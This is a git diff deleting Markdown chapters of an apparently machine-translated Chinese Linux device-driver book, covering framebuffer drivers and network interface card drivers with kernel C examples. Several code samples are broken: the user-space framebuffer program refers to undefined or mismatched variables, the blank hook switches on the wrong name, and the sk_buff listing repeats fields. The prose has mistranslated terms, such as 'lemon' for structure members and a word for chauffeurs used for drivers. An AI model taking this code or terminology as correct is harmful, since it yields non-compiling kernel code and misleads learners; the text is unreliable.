fb_info *info, const struct fb_image *image); - - /* Draws cursor */ - int (*fb_cursor) (struct fb_info *info, struct fb_cursor *cursor); - - /* wait for blit idle, optional */ - int (*fb_sync)(struct fb_info *info); - - /* perform fb specific ioctl (optional) */ - int (*fb_ioctl)(struct fb_info *info, unsigned int cmd, - unsigned long arg); - - /* Handle 32bit compat ioctl (optional) */ - int (*fb_compat_ioctl)(struct fb_info *info, unsigned cmd, - unsigned long arg); - - /* perform fb specific mmap */ - int (*fb_mmap)(struct fb_info *info, struct vm_area_struct *vma); - - /* get capability given var */ - void (*fb_get_caps)(struct fb_info *info, struct fb_blit_caps *caps, - struct fb_var_screeninfo *var); - - /* teardown any resources to do with this framebuffer */ - void (*fb_destroy)(struct fb_info *info); - [...] -}; -``` - -可以根据想要实现的功能设置不同的回调。 - -在[第四章](http://character)、*字符设备驱动*中,我们了解到字符设备通过`struct file_operations`结构,可以导出一组文件操作,这些操作是文件相关系统调用的入口点,如`open()`、`close()`、`read()`、`write()`、`mmap()`、`ioctl()`等。 - -也就是说,不要把`fb_ops`和`file_operations`结构混淆。`fb_ops`提供了底层操作的抽象,而`file_operations`则是上层系统调用接口。内核在`drivers/video/fbdev/core/fbmem.c`中实现帧缓冲区文件操作,内部调用我们在`fb_ops`中定义的方法。这样就可以根据系统调用接口的需要实现底层的硬件操作,即`file_operations`结构。比如用户`open()`设备时,核心的打开文件操作方式会执行一些核心操作,如果设置了`fb_ops.fb_open()`方式,则执行`release`、`mmap`等同样的方式。 - -帧缓冲设备支持一些在`include/uapi/linux/fb.h`中定义的 ioctl 命令,用户程序可以使用这些命令在硬件上进行操作。这些命令都由核心的`fops.ioctl`方法处理。对于其中一些命令,核心的 ioctl 方法可以在内部执行在`fb_ops`结构中定义的方法。 - -人们可能想知道`fb_ops.ffb_ioctl`是用来做什么的。只有当内核不知道给定的 ioctl 命令时,framebuffer 内核才执行`fb_ops.fb_ioctl`。换句话说,`fb_ops.fb_ioctl`在 framebuffer 核心的`fops.ioctl`方法的默认语句中执行。 - -# 驱动方法 - -驱动方法由`probe()`和`remove()`功能组成。在进一步描述这些方法之前,让我们建立我们的`fb_ops`结构: - -```sh -static struct fb_ops myfb_ops = { - .owner = THIS_MODULE, - .fb_check_var = myfb_check_var, - .fb_set_par = myfb_set_par, - .fb_setcolreg = myfb_setcolreg, - .fb_fillrect = cfb_fillrect, /* Those three hooks are */ - .fb_copyarea = cfb_copyarea, /* non accelerated and */ - .fb_imageblit = cfb_imageblit, /* are provided by kernel */ - .fb_blank = myfb_blank, -}; -``` - -* `Probe`:驱动`probe`功能负责初始化硬件,使用`framebuffer_alloc()`功能创建`struct fb_info`结构,上面`register_framebuffer()`。以下示例假设设备是内存映射的。因此,你的非内存映射可以存在,比如屏幕坐在 SPI 总线上。在这种情况下,应使用总线专用例程: - -```sh -static int myfb_probe(struct platform_device *pdev) -{ - struct fb_info *info; - struct resource *res; - [...] - - dev_info(&pdev->dev, "My framebuffer driver\n"); - -/* - * Query resource, like DMA channels, I/O memory, - * regulators, and so on. - */ - res = platform_get_resource(pdev, IORESOURCE_MEM, 0); - if (!res) - return -ENODEV; - /* use request_mem_region(), ioremap() and so on */ - [...] - pwr = regulator_get(&pdev->dev, "lcd"); - - info = framebuffer_alloc(sizeof( -struct my_private_struct), &pdev->dev); - if (!info) - return -ENOMEM; - - /* Device init and default info value*/ - [...] - info->fbops = &myfb_ops; - - /* Clock setup, using devm_clk_get() and so on */ - [...] - - /* DMA setup using dma_alloc_coherent() and so on*/ - [...] - - /* Register with the kernel */ - ret = register_framebuffer(info); - - hardware_enable_controller(my_private_struct); - return 0; -} -``` - -* `Remove`:`remove()`功能应该释放在`probe()`获得的任何东西,并调用: - -```sh -static int myfb_remove(struct platform_device *pdev) -{ - - /* iounmap() memory and release_mem_region() */ - [...] - /* Reverse DMA, dma_free_*();*/ - [...] - - hardware_disable_controller(fbi); - - /* first unregister, */ - unregister_framebuffer(info); - /* and then free the memory */ - framebuffer_release(info); - - return 0; -} -``` - -* 假设您使用管理器版本进行资源分配,您只需要使用`unregister_framebuffer()`和`framebuffer_release()`。其他一切都将由内核完成。 - -# 详细 fb_ops - -让我们描述一下`fb_ops`结构中声明的一些钩子。也就是说,关于编写 framebuffer 驱动的想法,您可以看看`drivers/video/fbdev/vfb.c`,它是内核中一个简单的虚拟 framebuffer 驱动。您还可以在`drivers/video/fbdev/imxfb.c`查看其他特定的帧缓冲驱动,比如 i.MX6 one,或者在`Documentation/fb/api.txt`查看关于帧缓冲驱动 API 的内核文档。 - -# 检验信息 - -钩子`fb_ops->fb_check_var`负责检查帧缓冲区参数。其原型如下: - -```sh -int (*fb_check_var)(struct fb_var_screeninfo *var, -struct fb_info *info); -``` - -这个函数应该检查 framebuffer 变量参数并调整到有效值。`var`代表帧缓冲区变量参数,应检查和调整: - -```sh -static int myfb_check_var(struct fb_var_screeninfo *var, -struct fb_info *info) -{ - if (var->xres_virtual < var->xres) - var->xres_virtual = var->xres; - - if (var->yres_virtual < var->yres) - var->yres_virtual = var->yres; - - if ((var->bits_per_pixel != 32) && -(var->bits_per_pixel != 24) && -(var->bits_per_pixel != 16) && -(var->bits_per_pixel != 12) && - (var->bits_per_pixel != 8)) - var->bits_per_pixel = 16; - - switch (var->bits_per_pixel) { - case 8: - /* Adjust red*/ - var->red.length = 3; - var->red.offset = 5; - var->red.msb_right = 0; - - /*adjust green*/ - var->green.length = 3; - var->green.offset = 2; - var->green.msb_right = 0; - - /* adjust blue */ - var->blue.length = 2; - var->blue.offset = 0; - var->blue.msb_right = 0; - - /* Adjust transparency */ - var->transp.length = 0; - var->transp.offset = 0; - var->transp.msb_right = 0; - break; - case 16: - [...] - break; - case 24: - [...] - break; - case 32: - var->red.length = 8; - var->red.offset = 16; - var->red.msb_right = 0; - - var->green.length = 8; - var->green.offset = 8; - var->green.msb_right = 0; - - var->blue.length = 8; - var->blue.offset = 0; - var->blue.msb_right = 0; - - var->transp.length = 8; - var->transp.offset = 24; - var->transp.msb_right = 0; - break; - } - - /* - * Any other field in *var* can be adjusted - * like var->xres, var->yres, var->bits_per_pixel, - * var->pixclock and so on. - */ - return 0; -} -``` - -上述代码根据用户选择的配置调整可变帧缓冲区属性。 - -# 设置控制器的参数 - -钩子`fp_ops->fb_set_par`是另一个硬件特定的钩子,负责向硬件发送参数。它根据用户设置`(info->var`对硬件进行编程: - -```sh -static int myfb_set_par(struct fb_info *info) -{ - struct fb_var_screeninfo *var = &info->var; - - /* Make some compute or other sanity check */ - [...] - - /* - * This function writes value to the hardware, - * in the appropriate registers - */ - set_controller_vars(var, info); - - return 0; -} -``` - -# 屏幕消隐 - -钩子`fb_ops->fb_blank`是硬件专用钩子,负责屏幕下料。其原型如下: - -```sh -int (*fb_blank)(int blank_mode, struct fb_info *info) -``` - -`blank_mode`参数始终是以下值之一: - -```sh -enum { - /* screen: unblanked, hsync: on, vsync: on */ - FB_BLANK_UNBLANK = VESA_NO_BLANKING, - - /* screen: blanked, hsync: on, vsync: on */ - FB_BLANK_NORMAL = VESA_NO_BLANKING + 1, - - /* screen: blanked, hsync: on, vsync: off */ - FB_BLANK_VSYNC_SUSPEND = VESA_VSYNC_SUSPEND + 1, - - /* screen: blanked, hsync: off, vsync: on */ - FB_BLANK_HSYNC_SUSPEND = VESA_HSYNC_SUSPEND + 1, - - /* screen: blanked, hsync: off, vsync: off */ - FB_BLANK_POWERDOWN = VESA_POWERDOWN + 1 -}; -``` - -空白显示的通常方式是在`blank_mode`参数上做`switch case`,如下所示: - -```sh -static int myfb_blank(int blank_mode, struct fb_info *info) -{ - pr_debug("fb_blank: blank=%d\n", blank); - - switch (blank) { - case FB_BLANK_POWERDOWN: - case FB_BLANK_VSYNC_SUSPEND: - case FB_BLANK_HSYNC_SUSPEND: - case FB_BLANK_NORMAL: - myfb_disable_controller(fbi); - break; - - case FB_BLANK_UNBLANK: - myfb_enable_controller(fbi); - break; - } - return 0; -} -``` - -消隐操作应禁用控制器,停止其时钟并断电。取消冻结应该执行相反的操作。 - -# 加速方法 - -用户视频操作,如混合、拉伸、移动位图或动态渐变生成都是繁重的任务。它们需要图形加速来获得可接受的性能。可以使用`struct fp_ops`结构的以下字段实现帧缓冲加速方法: - -* `.fb_imageblit()`:这个方法在显示器上画一个图像,非常有用 -* `.fb_copyarea()`:此方法将一个矩形区域从一个屏幕区域复制到另一个屏幕区域 -* `.fb_fillrect():`该方法以优化的方式用像素线填充矩形 - -因此,内核开发者想到了没有硬件加速的控制器,并提供了软件优化的方法。这使得加速实现成为可选的,因为存在软件回退。也就是说,如果帧缓冲控制器不提供任何加速机制,那么必须使用内核通用例程来填充这些方法。 - -这些分别是: - -* `cfb_imageblit()`:这是 imageblit 的内核提供的回退。内核使用它在启动时向屏幕输出一个徽标。 -* `cfb_copyarea()`:这是区域复制操作。 -* `cfb_fillrect`():这是实现同名操作的 framebuffer 核心非加速方法。 - -# 把它们放在一起 - -在这一节中,让我们总结一下上一节讨论的内容。为了编写 framebuffer 驱动,必须: - -* 填充一个`struct fb_var_screeninfo`结构,以便提供有关 framebuffer 变量属性的信息。用户空间可以更改这些属性。 -* 填充一个`struct fb_fix_screeninfo`结构,提供固定的参数。 -* 建立`struct fb_ops`结构,提供必要的回调函数,帧缓冲子系统将使用这些函数来响应用户的动作。 -* 仍然在`struct fb_ops`结构中,如果设备支持,必须提供加速函数回调。 -* 设置一个`struct fb_info`结构,给它填充上一步填充的结构,并在上面调用`register_framebuffer()`,以便在内核中注册。 - -关于编写简单的帧缓冲驱动的想法,可以看看`drivers/video/fbdev/vfb.c`,这是一个内核中的虚拟帧缓冲驱动。您可以通过`CONGIF_FB_VIRTUAL`选项在内核中启用此功能。 - -# 来自用户空间的帧缓冲区 - -人们通常通过`mmap()`命令访问帧缓冲存储器,以便将帧缓冲存储器映射到系统内存的一部分,从而在屏幕上绘制像素成为影响内存值的简单事情。屏幕参数(可变和固定)通过 ioctl 命令提取,尤其是`FBIOGET_VSCREENINFO`和`FBIOGET_FSCREENINFO`。完整列表可在内核源代码中的`include/uapi/linux/fb.h`处获得。 - -下面是在 framebuffer 上绘制 300*300 正方形的示例代码: - -```sh -#include -#include -#include -#include -#include -#include -#include - -#define FBCTL(_fd, _cmd, _arg) \ - if(ioctl(_fd, _cmd, _arg) == -1) { \ - ERROR("ioctl failed"); \ - exit(1); } - -int main() -{ - int fd; - int x, y, pos; - int r, g, b; - unsigned short color; - void *fbmem; - - struct fb_var_screeninfo var_info; - struct fb_fix_screeninfo fix_info; - - fd = open(FBVIDEO, O_RDWR); - if (tfd == -1 || vfd == -1) { - exit(-1); - } - - /* Gather variable screen info (virtual and visible) */ - FBCTL(fd, FBIOGET_VSCREENINFO, &var_info); - - /* Gather fixed screen info */ - FBCTL(fd, FBIOGET_FSCREENINFO, &fix_info); - - printf("****** Frame Buffer Info ******\n"); - printf("Visible: %d,%d \nvirtual: %d,%d \n line_len %d\n", - var_info.xres, this->var_info.yres, - var_info.xres_virtual, var_info.yres_virtual, - fix_info.line_length); - printf("dim %d,%d\n\n", var_info.width, var_info.height); - - /* Let's mmap frame buffer memory */ - fbmem = mmap(0, v_var.yres_virtual * v_fix.line_length, \ - PROT_WRITE | PROT_READ, \ - MAP_SHARED, fd, 0); - - if (fbmem == MAP_FAILED) { - perror("Video or Text frame bufer mmap failed"); - exit(1); - } - - /* upper left corner (100,100). The square is 300px width */ - for (y = 100; y < 400; y++) { - for (x = 100; x < 400; x++) { - pos = (x + vinfo.xoffset) * (vinfo.bits_per_pixel / 8) - + (y + vinfo.yoffset) * finfo.line_length; - - /* if 32 bits per pixel */ - if (vinfo.bits_per_pixel == 32) { - /* We prepare some blue color */ - *(fbmem + pos) = 100; - - /* adding a little green */ - *(fbmem + pos + 1) = 15+(x-100)/2; - - /* With lot of read */ - *(fbmem + pos + 2) = 200-(y-100)/5; - - /* And no transparency */ - *(fbmem + pos + 3) = 0; - } else { /* This assume 16bpp */ - r = 31-(y-100)/16; - g = (x-100)/6; - b = 10; - - /* Compute color */ - color = r << 11 | g << 5 | b; - *((unsigned short int*)(fbmem + pos)) = color; - } - } - } - - munmap(fbp, screensize); - close(fbfd); - return 0; -} -``` - -还可以使用`cat`或`dd`命令将帧缓冲存储器转储为原始图像: - -```sh - # cat /dev/fb0 > my_image -``` - -使用以下方法写回: - -```sh - # cat my_image > /dev/fb0 -``` - -可以通过特殊的`/sys/class/img/fb/blank sysfs`文件来清空/取消屏幕,其中``是帧缓冲区索引。写 1 会使屏幕空白,而写 0 会使屏幕不空白: - -```sh - # echo 0 > /sys/class/img/fb0/blank - # echo 1 > /sys/class/img/fb0/blank -``` - -# 摘要 - -帧缓冲驱动是 Linux 图形驱动的最简单形式,几乎不需要实现工作。他们大量抽象硬件。在这个阶段,您应该能够增强现有的驱动(例如图形加速功能),或者从头开始编写一个新的驱动。但是,建议依赖于现有的驱动,该驱动的硬件与您需要为其编写驱动的硬件共享尽可能多的特性。让我们跳到下一章,也是最后一章,讨论网络设备。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/22.md b/docs/linux-device-driver-dev/22.md deleted file mode 100644 index 79efd27f..00000000 --- a/docs/linux-device-driver-dev/22.md +++ /dev/null @@ -1,956 +0,0 @@ -# 二十二、网络接口卡驱动 - -我们都知道网络是 Linux 内核固有的。几年前,Linux 只是用来做网络性能的,现在情况变了;Linux 不仅仅是一个服务器,它运行在数十亿个嵌入式设备上。多年来,Linux 获得了最佳网络操作系统的美誉。尽管如此,Linux 不能做所有的事情。鉴于以太网控制器的种类繁多,Linux 除了向需要为其网络设备编写驱动或需要以一般方式执行内核网络开发的开发人员公开应用编程接口之外,没有找到其他方法。这个应用编程接口提供了足够的抽象层,允许评估开发代码的丰富性,以及移植到其他架构上。本章将简单介绍一下这个 API 中涉及**网络接口卡** ( **网卡**)驱动开发的部分,并讨论其数据结构和方法。 - -在本章中,我们将涵盖以下主题: - -* 网卡驱动数据结构及其主套接字缓冲区结构 -* 网卡驱动架构和方法描述,以及数据包传输和接收 -* 为测试目的开发虚拟网卡驱动 - -# 驱动数据结构 - -在处理网卡设备时,您需要处理两种数据结构: - -* 在`include/linux/skbuff.h`中定义的`struct sk_buff`结构,它是 Linux 网络代码中的基本数据结构,应该包含在您的代码中: - -```sh -#include -``` - -* 使用这种数据结构处理发送或接收的每个数据包。 -* `struct net_device`结构;这是内核中表示任何网卡设备的结构。它是进行数据传输的接口。它在`include/linux/netdevice.h`中定义,也应该包含在您的代码中: - -```sh -#include -``` - -代码中应该包含的其他文件是用于 MAC 和以太网相关功能的`include/linux/etherdevice.h`(如`alloc_etherdev()`)和用于以太网工具支持的`include/linux/ethtool.h`: - -```sh -#include -#include -``` - -# 套接字缓冲结构 - -这种结构包装了通过网卡传输的任何数据包: - -```sh -struct sk_buff { - struct sk_buff * next; - struct sk_buff * prev; - ktime_t tstamp; - struct rb_node rbnode; /* used in netem & tcp stack */ - struct sock * sk; - struct net_device * dev; - unsigned int len; - unsigned int data_len; - __u16 mac_len; - __u16 hdr_len; - unsigned int len; - unsigned int data_len; - __u16 mac_len; - __u16 hdr_len; - __u32 priority; - dma_cookie_t dma_cookie; - sk_buff_data_t tail; - sk_buff_data_t end; - unsigned char * head; - unsigned char * data; - unsigned int truesize; - atomic_t users; -}; -``` - -以下是结构中元素的含义: - -* `next`和`prev`:表示列表中下一个和上一个缓冲区。 -* `sk`:这是与此数据包关联的套接字。 -* `tstamp`:这是包到达/离开的时间。 -* `rbnode`:这是红黑树代表的`next` / `prev`的替代品。 -* `dev`:表示该数据包到达/离开的设备。此字段与此处未列出的另外两个字段相关联。这是`input_dev`和`real_dev`。它们跟踪与数据包相关的设备。因此,`input_dev`总是指接收数据包的设备。 -* `len`:这是数据包中的字节总数。套接字缓冲区(SKB)由一个线性数据缓冲区和一组称为**房间**的一个或多个区域组成。如果有这样的房间,`data_len`将保存数据区的总字节数。 -* `mac_len`:保存 MAC 报头的长度。 -* `csum`:包含数据包的校验和。 -* `Priority`:表示 QoS 中的数据包优先级。 -* `truesize`:这记录了一个包消耗了多少字节的系统内存,包括`struct sk_buff`结构本身占用的内存。 -* `users`:用于 SKB 物体的参考计数。 -* `Head`:头、数据、尾是套接字缓冲区中不同区域(房间)的指针。 -* `end`:这指向套接字缓冲区的末端。 - -这里只讨论了这种结构的几个领域。在`include/linux/skbuff.h`中有完整的描述。,这是您应该包含的头文件,用于处理套接字缓冲区。 - -# 套接字缓冲区分配 - -套接字缓冲区的分配有点棘手,因为它至少需要三个不同的功能: - -* 首先,整个内存分配应该使用`netdev_alloc_skb()`函数来完成 -* 用`skb_reserve()`功能增加并对齐头部空间 -* 使用`skb_put()`功能扩展缓冲区(将包含数据包)的已用数据区。 - -让我们看看下图: - -![](img/00045.gif) - -Socket buffers allocation process - -1. 我们通过`netdev_alloc_skb()`函数分配一个足够大的缓冲区来包含一个数据包和以太网报头: - -```sh -struct sk_buff *netdev_alloc_skb(struct net_device *dev, - unsigned int length) -``` - -该功能失败时返回`NULL`。因此,即使它分配内存,也可以从原子上下文中调用`netdev_alloc_skb()`。 - -由于以太网报头是 14 字节长,它需要有一些对齐,以便中央处理器在访问缓冲区的这一部分时不会遇到任何性能问题。`header_len`参数的适当名称应为`header_alignment`,因为该参数用于对齐。通常的值是 2,这就是内核在`include/linux/skbuff.h`中为此定义了一个专用宏`NET_IP_ALIGN`的原因: - -```sh -#define NET_IP_ALIGN 2 -``` - -2. 第二步通过减少尾部空间为头部保留对齐的内存。起作用的是`skb_reserve()`: - -```sh -void skb_reserve(struct sk_buff *skb, int len) -``` - -3. 最后一步是通过`skb_put()`功能将缓冲区的已用数据区扩展到与数据包大小一样大。该函数返回指向数据区第一个字节的指针: - -```sh -unsigned char *skb_put(struct sk_buff *skb, unsigned int len) -``` - -分配的套接字缓冲区应该被转发到内核网络层。这是套接字缓冲区生命周期的最后一步。应该使用`netif_rx_ni()`功能: - -```sh -int netif_rx_ni(struct sk_buff *skb) -``` - -我们将在本章的数据包接收部分讨论如何使用前面的步骤。 - -# 网络接口结构 - -网络接口在内核中表示为`struct net_device`结构的一个实例,在`include/linux/netdevice.h`中定义: - -```sh -struct net_device { - char name[IFNAMSIZ]; - char *ifalias; - unsigned long mem_end; - unsigned long mem_start; - unsigned long base_addr; - int irq; - netdev_features_t features; - netdev_features_t hw_features; - netdev_features_t wanted_features; - int ifindex; - struct net_device_stats stats; - atomic_long_t rx_dropped; - atomic_long_t tx_dropped; - const struct net_device_ops *netdev_ops; - const struct ethtool_ops *ethtool_ops; - unsigned int flags; - unsigned int priv_flags; - unsigned char link_mode; - unsigned char if_port; - unsigned char dma; - unsigned int mtu; - unsigned short type; - /* Interface address info. */ - unsigned char perm_addr[MAX_ADDR_LEN]; - unsigned char addr_assign_type; - unsigned char addr_len; - unsigned short neigh_priv_len; - unsigned short dev_id; - unsigned short dev_port; - unsigned long last_rx; - /* Interface address info used in eth_type_trans() */ - unsigned char *dev_addr; - - struct device dev; - struct phy_device *phydev; -}; -``` - -`struct net_device`结构属于需要动态分配的内核数据结构,有自己的分配功能。通过`alloc_etherdev()`功能在内核中分配网卡。 - -```sh -struct net_device *alloc_etherdev(int sizeof_priv); -``` - -失败时,该功能返回`NULL`。`sizeof_priv`参数表示分配给专用数据结构的内存大小,该数据结构附加在网卡上,可以通过`netdev_priv()`功能提取: - -```sh -void *netdev_priv(const struct net_device *dev) -``` - -鉴于`struct priv_struct,`是我们的私有结构,以下是如何分配网络设备和私有数据结构的实现: - -```sh -struct net_device *net_dev; -struct priv_struct *priv_net_struct; -net_dev = alloc_etherdev(sizeof(struct priv_struct)); -my_priv_struct = netdev_priv(dev); -``` - -应使用`free_netdev()`功能释放未使用的网络设备,该功能还会释放分配给私有数据的内存。只有在设备从内核中注销后,才应该调用此方法: - -```sh -void free_netdev(struct net_device *dev) -``` - -当你的`net_device`结构完成并填充后,你应该在上面调用`register_netdev()`。本章后面的*驱动方法*一节将解释该功能。只要记住这个函数向内核注册我们的网络设备,这样它就可以使用了。也就是说,在调用这个函数之前,您应该确保设备确实能够处理网络操作。 - -```sh -int register_netdev(struct net_device *dev) -``` - -# 设备方法 - -网络设备属于不出现在`/dev`目录中的设备类别(不像块设备、输入设备或充电设备)。因此,像所有这些类型的设备一样,网卡驱动公开了一组工具来执行。内核通过`struct net_device_ops`结构展示可以在网络接口上执行的操作,该结构是`struct net_device`结构的一个字段,代表网络设备(`dev->netdev_ops`)。`struct net_device_ops`字段描述如下: - -```sh -struct net_device_ops { - int (*ndo_init)(struct net_device *dev); - void (*ndo_uninit)(struct net_device *dev); - int (*ndo_open)(struct net_device *dev); - int (*ndo_stop)(struct net_device *dev); - netdev_tx_t (*ndo_start_xmit) (struct sk_buff *skb, - struct net_device *dev); - void (*ndo_change_rx_flags)(struct net_device *dev, int flags); - void (*ndo_set_rx_mode)(struct net_device *dev); - int (*ndo_set_mac_address)(struct net_device *dev, void *addr); - int (*ndo_validate_addr)(struct net_device *dev); - int (*ndo_do_ioctl)(struct net_device *dev, - struct ifreq *ifr, int cmd); - int (*ndo_set_config)(struct net_device *dev, struct ifmap *map); - int (*ndo_change_mtu)(struct net_device *dev, int new_mtu); - void (*ndo_tx_timeout) (struct net_device *dev); - - struct net_device_stats* (*ndo_get_stats)( - struct net_device *dev); -}; -``` - -让我们看看结构中每个柠檬的含义是什么: - -* `int (*ndo_init)(struct net_device *dev)`和`void(*ndo_uninit)(struct net_device *dev)`;它们是额外的初始化/单元化功能,分别在驱动调用`register_netdev()` / `unregister_netdev()`时执行,以便向内核注册/注销网络设备。大多数司机不提供这些功能,因为真正的工作是由`ndo_open()`和`ndo_stop()`功能完成的。 -* `int (*ndo_open)(struct net_device *dev)`;准备并打开界面。每当`ip`或`ifconfig`实用程序激活该界面时,该界面就会打开。在这种方法中,驱动应该请求/映射/注册它需要的任何系统资源(输入/输出端口、IRQ、DMA 等),打开硬件,并执行设备所需的任何其他设置。 -* `int (*ndo_stop)(struct net_device *dev)`:接口关闭时内核执行该功能(例如`ifconfig down`等)。该功能应执行与在`ndo_open()`中所做操作相反的操作。 -* `int (*ndo_start_xmit) (struct sk_buff *skb, struct net_device *dev)`:每当内核想要通过这个接口发送一个包的时候都会调用这个方法。 -* `void (*ndo_set_rx_mode)(struct net_device *dev)`:调用此方法改变接口地址列表过滤模式,组播或混杂。建议提供此功能。 -* `void (*ndo_tx_timeout)(struct net_device *dev)`:当数据包传输未能在合理时间内完成时,内核调用此方法,通常为`dev->watchdog`滴答。驱动应该检查发生了什么,处理问题,并恢复数据包传输。 -* `struct net_device_stats *(*get_stats)(struct net_device *dev)`:此方法返回设备统计。这是当`netstat -i`或`ifconfig`运行时可以看到的。 - -前面的描述遗漏了很多字段。完整的结构描述可在`include/linux/netdevice.h`文件中找到。实际上,只有`ndo_start_xmit`是强制的,但是提供尽可能多的助手钩子是一个很好的实践,因为你的设备有很多特性。 - -# 打开和关闭 - -每当授权用户(例如管理员)使用任何用户空间实用程序(如`ifconfig`或`ip`)配置该网络接口时,内核都会调用`ndo_open()`函数。 - -与其他网络设备操作一样,`ndo_open()`功能接收一个`struct net_device`对象作为其参数,在分配`net_device`对象时,驱动应该从该对象获取存储在`priv`字段中的设备特定对象。 - -每当网络控制器接收或完成数据包传输时,它通常会发出中断。驱动需要注册一个中断处理程序,每当控制器发出中断时就会调用该程序。驱动可以在`init()` / `probe()`程序或`open`功能中注册中断处理程序。一些器件需要通过在硬件的特殊寄存器中设置来使能中断。在这种情况下,可以在`probe`功能中请求中断,并在打开/关闭方法中设置/清除使能位。 - -让我们总结一下`open`函数应该做什么: - -1. 更新接口媒体访问控制地址(如果用户更改了它,并且您的设备允许)。 -2. 如有必要,重置硬件,并使其退出低功耗模式。 -3. 请求任何资源(输入/输出内存、直接内存分配通道、内部资源请求)。 -4. 映射 IRQ 并注册中断处理程序。 -5. 检查接口链接状态。 -6. 在设备上调用`net_if_start_queue()`以便让内核知道你的设备已经准备好传输数据包。 - -`open`功能示例如下: - -```sh -/* - * This routine should set everything up new at each open, even - * registers that should only need to be set once at boot, so that - * there is non-reboot way to recover if something goes wrong. - */ -static int enc28j60_net_open(struct net_device *dev) -{ - struct priv_net_struct *priv = netdev_priv(dev); - - if (!is_valid_ether_addr(dev->dev_addr)) { - [...] /* Maybe print a debug message ? */ - return -EADDRNOTAVAIL; - } - /* - * Reset the hardware here and take it out of low - * power mode - */ - my_netdev_lowpower(priv, false); - - if (!my_netdev_hw_init(priv)) { - [...] /* handle hardware reset failure */ - return -EINVAL; - } - - /* Update the MAC address (in case user has changed it) - * The new address is stored in netdev->dev_addr field - */ -set_hw_macaddr_registers(netdev, MAC_REGADDR_START, -netdev->addr_len, netdev->dev_addr); - - /* Enable interrupts */ - my_netdev_hw_enable(priv); - - /* We are now ready to accept transmit requests from - * the queueing layer of the networking. - */ - netif_start_queue(dev); - - return 0; -} -``` - -`netif_start_queue()`只是允许上层调用设备`ndo_start_xmit`例程。换句话说,它通知内核设备准备好处理传输请求。 - -另一侧的关闭方法只需执行与设备打开时相反的操作: - -```sh -/* The inverse routine to net_open(). */ -static int enc28j60_net_close(struct net_device *dev) -{ - struct priv_net_struct *priv = netdev_priv(dev); - - my_netdev_hw_disable(priv); - my_netdev_lowpower(priv, true); - - /** - * netif_stop_queue - stop transmitted packets - * - * Stop upper layers calling the device ndo_start_xmit routine. - * Used for flow control when transmit resources are unavailable. - */ - netif_stop_queue(dev); - - return 0; -} -``` - -`netif_stop_queue()`简单地做`netif_start_queue()`的反向,告诉内核停止调用设备`ndo_start_xmit`例程。我们不能再处理传输请求了。 - -# 数据包处理 - -数据包处理包括数据包的发送和接收。这是任何网络接口驱动的主要任务。传输仅指发送输出帧,而接收指接收帧。 - -有两种方法可以驱动网络数据交换:轮询或中断。轮询是一种定时器驱动的中断,由内核以给定的时间间隔持续检查设备的任何变化组成。另一方面,中断模式包括内核什么也不做,监听一条 IRQ 线路,并等待设备通过 IRQ 通知变化。中断驱动的数据交换会在高流量期间增加系统开销。这就是为什么有些司机把这两种方法混在一起。内核中允许混合使用这两种方法的部分称为**新 API** ( **NAPI** ),它包括在流量高的时候使用轮询,在流量正常时使用中断 IRQ 驱动的管理。如果硬件支持,新的驱动应该使用 NAPI。但是,本章不讨论 NAPI,它将集中讨论中断驱动方法。 - -# 数据包接收 - -当数据包到达网络接口卡时,驱动必须在其周围建立一个新的套接字缓冲区,并将数据包复制到`sk_ff->data`字段。拷贝的种类其实并不重要,DMA 也可以使用。驱动通常通过中断知道新的数据到达。当网卡收到数据包时,它会产生一个中断,该中断将由驱动处理,驱动必须检查设备的中断状态寄存器,并检查产生该中断的真正原因(可能是接收正常、接收错误等)。对应于引发中断的事件的位将在状态寄存器中设置。 - -棘手的部分是分配和构建套接字缓冲区。但幸运的是,我们已经在本章的第一部分讨论过了。因此,让我们不要浪费时间,让我们跳到一个示例 RX 处理程序。驱动必须执行与其收到的数据包数量一样多的`sk_buff`分配: - -```sh -/* - * RX handler - * This function is called in the work responsible of packet - * reception (bottom half) handler. We use work because access to - * our device (which sit on a SPI bus) may sleep - */ -static int my_rx_interrupt(struct net_device *ndev) -{ - struct priv_net_struct *priv = netdev_priv(ndev); - int pk_counter, ret; - - /* Let's get the number of packet our device received */ - pk_counter = my_device_reg_read(priv, REG_PKT_CNT); - - if (pk_counter > priv->max_pk_counter) { - /* update statistics */ - priv->max_pk_counter = pk_counter; - } - ret = pk_counter; - - /* set receive buffer start */ - priv->next_pk_ptr = KNOWN_START_REGISTER; - while (pk_counter-- > 0) - /* -* By calling this internal helper function in a "while" -* loop, packets get extracted one by one from the device -* and forwarder to the network layer. -*/ - my_hw_rx(ndev); - - return ret; -} -``` - -以下助手负责从设备获取一个数据包,将其转发到内核网络,并递减数据包计数器: - -```sh -/* - * Hardware receive function. - * Read the buffer memory, update the FIFO pointer to - * free the buffer. - * This function decrements the packet counter. - */ -static void my_hw_rx(struct net_device *ndev) -{ - struct priv_net_struct *priv = netdev_priv(ndev); - struct sk_buff *skb = NULL; - u16 erxrdpt, next_packet, rxstat; - u8 rsv[RSV_SIZE]; - int packet_len; - - packet_len = my_device_read_current_packet_size(); - /* Can't cross boundaries */ - if ((priv->next_pk_ptr > RXEND_INIT)) { - /* packet address corrupted: reset RX logic */ - [...] - /* Update RX errors stats */ - ndev->stats.rx_errors++; - return; - } - /* Read next packet pointer and rx status vector - * This is device-specific - */ - my_device_reg_read(priv, priv->next_pk_ptr, sizeof(rsv), rsv); - - /* Check for errors in the device RX status reg, - * and update error stats accordingly - */ - if(an_error_is_detected_in_device_status_registers()) - /* Depending on the error, - * stats.rx_errors++; - * ndev->stats.rx_crc_errors++; - * ndev->stats.rx_frame_errors++; - * ndev->stats.rx_over_errors++; - */ - } else { - skb = netdev_alloc_skb(ndev, len + NET_IP_ALIGN); - if (!skb) { - ndev->stats.rx_dropped++; - } else { - skb_reserve(skb, NET_IP_ALIGN); - /* - * copy the packet from the device' receive buffer - * to the socket buffer data memory. - * Remember skb_put() return a pointer to the - * beginning of data region. - */ - my_netdev_mem_read(priv, - rx_packet_start(priv->next_pk_ptr), - len, skb_put(skb, len)); - - /* Set the packet's protocol ID */ - skb->protocol = eth_type_trans(skb, ndev); - /* update RX statistics */ - ndev->stats.rx_packets++; - ndev->stats.rx_bytes += len; - - /* Submit socket buffer to the network layer */ - netif_rx_ni(skb); - } - } - /* Move the RX read pointer to the start of the next - * received packet. - */ - priv->next_pk_ptr = my_netdev_update_reg_next_pkt(); -} -``` - -当然,我们从延迟工作中调用 RX 处理程序的唯一原因是因为我们坐在 SPI 总线上。如果是 MMIO 设备,上述所有操作都可以在 hwriq 